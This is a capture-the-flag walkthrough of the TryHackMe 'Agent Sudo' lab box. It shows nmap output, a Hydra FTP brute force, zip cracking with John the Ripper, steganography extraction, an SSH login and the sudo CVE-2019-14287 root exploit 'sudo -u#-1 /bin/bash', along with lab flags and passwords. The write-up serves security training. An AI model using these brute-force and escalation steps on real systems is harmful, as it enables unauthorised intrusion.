Agent Sudo
Description
You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.
Task 2 - Enumerate
2.1 How many ports
Hint: nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
| 256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_ 256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
Nmap reveals 3 ports
2.2 How you redirect yourself to a secret page?
Hint: Answer format: xxxx-xxxxx
When we connect to the main page, a message informs us to use our "codename" as user-agent:
$ curl -s http://10.10.56.93/ | html2text
Dear agents,
Use your own **codename** as user-agent to access the site.
From,
Agent R
We should change our user-agent
to access the page.
2.3 What is the agent name?
Hint: You might face problem on using Firefox. Try 'user agent switcher' plugin with user agent: C
With User-agent set to C
, we are redirected to http://10.10.56.93/agent_C_attention.php
, where we can see the following message:
$ curl -A "C" -L http://10.10.56.93/
Attention chris, <br><br>
Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>
From,<br>
Agent R
Answer: chris
[Task 3] Hash cracking and brute-force
3.1 FTP password
Hint: Hail hydra!
Let's crack chris' FTP account with Hydra:
$ hydra -l chris -P /data/src/wordlists/rockyou.txt 10.10.56.93 ftp
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-08 19:00:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ftp://10.10.56.93:21/
[STATUS] 219.00 tries/min, 219 tries in 00:01h, 14344179 to do in 1091:39h, 16 active
[21][ftp] host: 10.10.56.93 login: chris password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-08 19:01:34
Now, let's connect with password crystal
and get the files:
$ ftp 10.10.56.93
Connected to 10.10.56.93 (10.10.56.93).
220 (vsFTPd 3.0.3)
Name (10.10.56.93:unknown): chris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (10.10.56.93,204,100).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
ftp> get To_agentJ.txt
local: To_agentJ.txt remote: To_agentJ.txt
227 Entering Passive Mode (10.10.56.93,38,234).
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
226 Transfer complete.
217 bytes received in 0.0552 secs (3.93 Kbytes/sec)
ftp> get cute-alien.jpg
local: cute-alien.jpg remote: cute-alien.jpg
227 Entering Passive Mode (10.10.56.93,217,163).
150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
226 Transfer complete.
33143 bytes received in 0.0604 secs (549.15 Kbytes/sec)
ftp> get cutie.png
local: cutie.png remote: cutie.png
227 Entering Passive Mode (10.10.56.93,72,247).
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
226 Transfer complete.
34842 bytes received in 0.0625 secs (557.54 Kbytes/sec)
ftp> 221 Goodbye.
the *.txt
file tells us something interesting about the pictures:
$ cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
3.2 Zip file password
Hint: Mr.John
We are told about a zip file but we don't have one. Let's use binwalk
to see if the pictures contain embedded files.
$ binwalk -e cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
The *.zip
file was embedded in cutie.png
, but it's password protected. Let's use John the Ripper to brute force it:
$ zip2john 8702.zip > 8702.hash
ver 81.9 8702.zip/To_agentR.txt is not encrypted, or stored with non-handled compression type
$ john 8702.hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alien (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2020-05-08 22:46) 2.272g/s 74472p/s 74472c/s 74472C/s chatty..dyesebel
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Password: alien
3.3 steg password
Let's uncompress the zip file with the password found previously (alien
):
$ 7z e 8702.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-4800MQ CPU @ 2.70GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280
Enter password (will not be echoed):
Everything is Ok
Size: 86
Compressed: 280
$ cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
The string QXJlYTUx
is base64 encoded. Let's decode it:
$ echo -n "QXJlYTUx" | base64 -d
Area51
3.4 Who is the other agent (in full name)?
Nothing has been done with the other picture (cute-alien.jpg
) yet. Let's use steghide to see what hidden files may be embedded:
$ steghide --info cute-alien.jpg
"cute-alien.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "message.txt":
size: 181.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Now that we know there is a text file embedded, let's extract it:
$ steghide --extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt".
$ cat message.txt
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
The other agent is james
3.5 SSH password
The password is hackerrules!
, as mentioned in the message found previously.
[Task 4] Capture the user flag
4.1 What is the user flag?
The flag can be found in the /home
directory.
$ sshpass -p "hackerrules!" ssh james@10.10.56.93 cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
4.2 What is the incident of the photo called?
Hint: Reverse image and Foxnews.
The /home
directory also contains a *.jpg
file:
james@agent-sudo:~$ ls -l
total 48
-rw-r--r-- 1 james james 42189 Jun 19 2019 Alien_autospy.jpg
-rw-r--r-- 1 james james 33 Oct 29 2019 user_flag.txt
Let's download it:
$ scp -r james@10.10.56.93:Alien_autospy.jpg .
james@10.10.56.93's password:
Alien_autospy.jpg 100% 41KB 174.4KB/s 00:00
Using Google images reverse search, we can upload our picture and see what it finds. Filtering the results with "Fownews" quickly redirects us to this post: https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment
Answer: Roswell alien autopsy
[Task 5] Privilege escalation
5.1 CVE number for the escalation (Format: CVE-xxxx-xxxx)
Googling for the terms cve privileges escalation sudo
quickly points to CVE-2019-14287
.
5.2 What is the root flag?
The CVE-2019-14287
vulnerability is explained as follows:
"A flaw was found in the way sudo implemented running commands with arbitrary user ID. If a sudoers entry is written to allow the attacker to run a command as any user except root, this flaw can be used by the attacker to bypass that restriction."
This is exactly the case on the server:
$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
Our user (james
) can run /bin/bash
as any user (ALL
) except as root (!root
). Let's exploit the vulnerability:
james@agent-sudo:~$ sudo -u#-1 /bin/bash
[sudo] password for james:
root@agent-sudo:~# cat /root/root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
b53a02f55b57d4439e3341834d70c062
By,
DesKel a.k.a Agent R
5.3 (Bonus) Who is Agent R?
The message discloses the information:
DesKel a.k.a Agent R